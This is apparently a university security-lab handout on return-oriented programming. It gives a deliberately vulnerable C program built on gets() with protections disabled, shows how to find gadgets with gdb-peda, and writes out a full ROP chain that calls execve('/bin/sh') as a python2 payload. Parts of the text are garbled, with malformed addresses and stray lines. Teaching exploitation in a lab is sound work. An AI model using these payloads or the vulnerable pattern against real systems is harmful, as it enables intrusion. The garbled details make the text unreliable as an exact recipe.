

# OSDS – Laboratory 7 – ROP

## 1.Introduction

In previous laboratory we saw how, using a buffer overflow vulnerability, we can make a vulnerable program to run our malicious code from the stack. We also observed various protection mechanism which prevents the attack. In today's laboratory we will learn a new technique to take advantage of buffer overflow vulnerability called ROP – Return Oriented Programming.

The technique is similar with what we have discussed in the previous laboraotory. We will need a vulnerable program which must have a buffer overflow vulnerability. The major difference from the attack presented in the previous laboratory is that we will not place our malicious code on the stack, we will compound it, similar to a puzzle, from legitimate pieces of code already presented in our vulnerable program. We will use the pieces of instructions to compose our attack and we will place on the stack the addresses where those instructions are. These kinds of instructions are called gadgets.

## 2.Gadgets

Gadgets are pieces of code like this:

```
0xffffaaaa pop rdi: ret
```

If we put on the stack instead of our return address the address of the above instruction, a value and another instruction like below:

```
0xffffaaaa some_value another_instruction
```

the program will run the instruction pop rdi, which will put in rdi register the value some\_value (next value found on the stack) and after that the code will jump to another\_instruction and will execute it. This way if another\_instruction will be another gadget will execute that gadget and so one, this way we will create a chain of commands with which we will try to execute our malicious code.

## 3. Preparing the environment

To be able to analyse our program we need to install peda, a plugin for gdb which will allow us to better analyse our vulnerable program. Peda comes from Python Exploit Development Assistance.

To install peda you have to run the following commands:

```
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
```

Also, type the following commands:

```
sudo
echo "source ~/peda/peda.py" >> ~/.gdbinit
this way you will register peda as a gdp plugin for root also.
```

If you do not have already git installed, please run apt-get install git.

Also make sure you disabled ASLR as we did in the previous laboratory.

#### **4. How to search for gadgets**

Now we will start to search for gadgets. Let's consider the following vulnerable code:

```
#include <stdlib.h>
```

```
#include <stdio.h>
```

```
void func()
```

```
{
```

```
    char buffer[128];
```

```
    gets(buffer);
```

```
    //dup2(1,0);
```

```
}
```

```
int main(int argc, char *argv[])
```

```
{
```

```
    int n = 0;
```

```
    while (n < 10);
```

```
    func();
```

```
    return 0;
```

```
}
```

Let's save it in a file called rop.c and compile it with:

```
gcc -g -O0 -fno-stack-protector -o rop rop.c -no-pie
```

Please pay attention we don't compile now for 32 bits, we compile for native machine which should be 64 bit architecture. Also please see `-no-pie` option which tells the compiler to not produce a dynamically linked position independent executable.

After you compiled the executable, run it with:

```
./rop
```

The program will loop in while, so create another console and in the new console type the following commands:

```
ps -e | grep rop (you will see the pid of rop programe which already is running)
```

```
sudo
```

```
gdb
```

Now when gdb starts you will see it as

```
gdb-peda
```

From gdb type the command:

```
set variable n =11
```

```
b func
```

```
c
```

Now the program runs and you just made it jump out of the loop and probably it already have stopped at the breakpoint you set in function func.

Now if you type

`asmsearch "pop rdi; ret" libc` peda will search for gadgets `pop rdi; ret` in libc library which is loaded in your program. The results should be like this:

```
gdb-peda$ asmsearch "pop rdi; ret" libc
```

```
Searching for ASM code: 'pop rdi; ret' in: libc ranges
```

```
0x00007ffff7de8b72 : (5fc3) pop rdi;    ret
```

```
0x00007ffff7de98d5 : (5fc3) pop rdi;    ret
```

So you can see that at the address `0x00007ffff7de8b72` there is an instruction which does

```
pop rdi; ret
```

## 4. Preparing the attack

On x64 architectures when you call a function the parameters are passed in registers:

rdi – first parameter

rsi – second parameter

rdx – third parameter

rest of the parameters are pushed on the stack.

We want to call `execve` to start a command shell, meaning we want to call `execve` to start `"/bin/sh"`. For this we have to make sure in `rdi` we will have the address where `"/bin/sh"` string is, in `rsi` we should have an array of strings where first element should be `"/bin/sh"` and the second should be `NULL` and in `rdx` we should have a `NULL` pointer for environmental variables.

Our stack around buffer will look like this:

return address

saved rbp

buffer

We will overflow buffer to overwrite the return address but doing so we will overwrite `rbp` also so we want to overwrite it with a valid address.

Going back to our program stopped in debugging, lets do a next (n) instruction and see how the stack looks like – we need to do a next cause we are stopped at the beginning of our function `func` and buffer is not yet added on the stack.

Type in `gdb` the following command now:

`x/30x $rsp` – will show 40 addresses of 64 bits from the stack, `rsp` being the register where the current value of the stack is held. You should get something like this:

```
gdb-peda$ x/30x $rsp
```

```
0x7fffffffdf00: 0x0000000000000000      0x0000000000000000
0x7fffffffdf10: 0x0000000000000000      0x0000000000000000
0x7fffffffdf20: 0x0000000000000000      0x0000000000000000
0x7fffffffdf30: 0x0000000000000000      0x0000000000000000
0x7fffffffdf40: 0x0000000000000000      0x0000000000000000
0x7fffffffdf50: 0x0000000000040004      0x00000000000f0b5ff
```

|                                    |                     |
|------------------------------------|---------------------|
| 0x7fffffffdf60: 0x00000000000000c2 | 0x00007fffffffdf97  |
| 0x7fffffffdf70: 0x00007fffffffdf96 | 0x000000000004011dd |
| <hr/>                              |                     |
| 0x7fffffffdf80: 0x00007fffffffdfb0 | 0x00000000000401180 |
| 0x7fffffffdf90: 0x00007fffffff0a8  | 0x0000000100401050  |
| 0x7fffffffdfa0: 0x00007fffffff0a0  | 0x0000000b00000000  |
| 0x7fffffffdfb0: 0x0000000000000000 | 0x00007fff7de90b3   |
| 0x7fffffffdfc0: 0x00007fff7ffc620  | 0x00007fffffff0a8   |
| 0x7fffffffdfd0: 0x0000000100000000 | 0x00000000000401156 |
| 0x7fffffffdf0: 0x00000000000401190 | 0x483b2a748b3af836  |

Where I crossed the line are 8 lines of 2 addresses of 8 octets so a total of  $8*2*8 = 128$  characters, so entire buffer. After it we have rbp - 0x00007fffffffdfb0 and after rbp we have the return address from our function func which we want to overwrite with one of our gadgets.

So, instead of our return address if we will put the following succession of code:

pop rdi; ret

buffer address

pop rsi; ret

buffer address + 8 from where the array of pointers needed for the second parameter of execve

pop rdx; pop r12; ret

NULL

NULL

address of execve function

when we return from our function func, the code will execute pop rdi; ret meaning will put in rdi register the next value on the stack which is buffer address and ret will execute the second next address from the stack which is another address of an instruction:

pop rsi;ret

and so on.

I had to put the address of `pop rdx; pop r12; ret` because I didn't find any gadget containing only `pop rdx; ret` this is why we have a NULL for `rdx`, a NULL for `r12` and after that we put the address of `execve` function which should execute successfully already having the parameters loaded in `rdi`, `rsi`, `rdx`.

Now lets find the addresses for our gadgets. We search first for

`pop rdi; ret`:

```
gdb-peda$ asmsearch "pop rdi; ret" libc
```

```
Searching for ASM code: 'pop rdi; ret' in: libc ranges
```

```
0x00007ffff7de8b72 : (5fc3) pop rdi;    ret
```

```
0x00007ffff7de98d5 : (5fc3) pop rdi;    ret
```

```
0x00007ffff7dea203 : (5fc3) pop rdi;    ret
```

```
0x00007ffff7dea27e : (5fc3) pop rdi;    ret
```

```
0x00007ffff7dea292 : (5fc3) pop rdi;    ret
```

.....

So we can use `0x00007ffff7de8b72` as address for this gadget

```
gdb-peda$ asmsearch "pop rsi; ret" libc
```

```
Searching for ASM code: 'pop rsi; ret' in: libc ranges
```

```
0x00007ffff7de9529 : (5ec3) pop rsi;    ret
```

```
0x00007ffff7deb59f : (5ec3) pop rsi;    ret
```

```
0x00007ffff7df61a9 : (5ec3) pop rsi;    ret
```

```
0x00007ffff7e060de : (5ec3) pop rsi;    ret
```

.....

So we can use `0x00007ffff7de9529` as address for this gadget

```
gdb-peda$ asmsearch "pop rdx; ret" libc
```

```
Searching for ASM code: 'pop rdx; ret' in: libc ranges
```

Not found

We didn't find a gadget with only `rdx`, so we will try to find a complex gadget which still contains `pop rdx` so we will try another search with an extra `pop` command, unuseful for us, but needed to get that `pop rdx`:

```
gdb-peda$ asmsearch "pop rdx; pop ?; ret" libc
```

Searching for ASM code: 'pop rdx; pop ?; ret' in: libc ranges

```
0x00007ffff7ede371 : (5a415cc3)  pop rdx;    pop r12;    ret
```

```
0x00007ffff7ef4c7f : (5a415cc3)  pop rdx;    pop r12;    ret
```

```
0x00007ffff7ef9c69 : (5a415cc3)  pop rdx;    pop r12;    ret
```

So we can use 0x00007ffff7ede371 as address for this gadget.

Now, lets obtain the buffer address:

```
gdb-peda$ p &buffer
```

```
$1 = (char (*)[128]) 0x7fffffffdf00
```

And also lets obtain the address for execve:

```
gdb-peda$ p execve
```

```
$2 = {<text variable, no debug info>} 0x7ffff7ea82f0 <execve>
```

So, our malformed buffer should look like this:

```
"/bin/sh\x00" – 8 characters, NULL terminated
```

```
"\x00\xdf\xff\xff\xff\x7f\x00\x00" – address of the buffer
```

```
"\x00\x00\x00\x00\x00\x00\x00\x00" – NULL
```

(128-3\*8 = 104) characters of garbage – A

```
"\xb0\xdf\xff\xff\xff\x7f\x00\x00" – rbp
```

```
"\x72\x8b\xde\xf7\xff\x7f\x00\x00" – pop rdi; ret instead of our normal return address
```

```
"\x00\xdf\xff\xff\xff\x7f\x00\x00" – address of the buffer – rdi will get buffer address which starts with "/bin/sh\x00"
```

```
"\x29\x95\xde\xf7\xff\x7f\x00\x00" – pop rsi; ret
```

```
"\x08\xdf\xff\xff\xff\x7f\x00\x00" – buffer address + 8 from where the array of pointers for the second parameter starts
```

```
"\x71\xe3\xed\xf7\xff\x7f\x00\x00" pop rdx; pop r12; ret
```

```
"\x00\x00\x00\x00\x00\x00\x00\x00" – for rdx
```

```
"\x00\x00\x00\x00\x00\x00\x00\x00" – for r12
```

```
"\xf0\x82\xea\xf7\xff\x7f\x00\x00"
```

## 5. Mounting the attack

Practic. Comment the instruction while ( $n < 10$ ) from our vulnerable executable, recompile it with

```
gcc -g -O0 -fno-stack-protector -o rop rop.c -no-pie
```

Mount the attack, first with `/bin/lis`, second with `/bin/sh`. Please explain the differences.

Hint – the command should look like:

```
python2 -c 'print
```

```
("/bin/sh\x00"+" \x00\xdf\xff\xff\xff\x7f\x00\x00"+" \x00\x00\x00\x00\x00\x00\x00\x00"+104*"A"+" \xb0\xdf\xff\xff\xff\x7f\x00\x00"+" \x72\x8b\xde\xf7\xff\x7f\x00\x00"+" \x00\xdf\xff\xff\xff\x7f\x00\x00"+" \x29\x95\xde\xf7\xff\x7f\x00\x00"+" \x08\xdf\xff\xff\xff\x7f\x00\x00"+" \x71\xe3\xed\xf7\xff\x7f\x00\x00"+" \x00\x00\x00\x00\x00\x00\x00\x00"+" \x00\x00\x00\x00\x00\x00\x00\x00"+" \xf0\x82\xea\xf7\xff\x7f\x00\x00") | ./rop
```

```
python2 -c 'print
```

```
("/bin/lis\x00"+" \x00\xdf\xff\xff\xff\x7f\x00\x00"+" \x00\x00\x00\x00\x00\x00\x00\x00"+104*"A"+" \xb0\xdf\xff\xff\xff\xff\x7f\x00\x00"+" \x72\x8b\xde\xf7\xff\x7f\x00\x00"+" \x00\xdf\xff\xff\xff\xff\x7f\x00\x00"+" \x29\x95\xde\xf7\xff\x7f\x00\x00"+" \x08\xdf\xff\xff\xff\xff\x7f\x00\x00"+" \x71\xe3\xed\xf7\xff\x7f\x00\x00"+" \x00\x00\x00\x00\x00\x00\x00\x00"+" \x00\x00\x00\x00\x00\x00\x00\x00"+" \xf0\x82\xea\xf7\xff\x7f\x00\x00") | ./rop
```

Practic2. Before executing our `execve` function, please insert a chain of rop gadgets to execute first a `dup2(1,0)` function.

Hint – the malicious buffer should look like this:

Buffer

rbp

pop rdi; ret

1 – pe 8 octeti

pop rsi; ret

0 – pe 8 octeti

address dup2

pop rdi; ret

buffer address

pop rsi; ret

buffer address + 8 from where the array of pointers needed for the second parameter of `execve`

`pop rdx; pop r12; ret`

NULL

NULL

address of `execve` function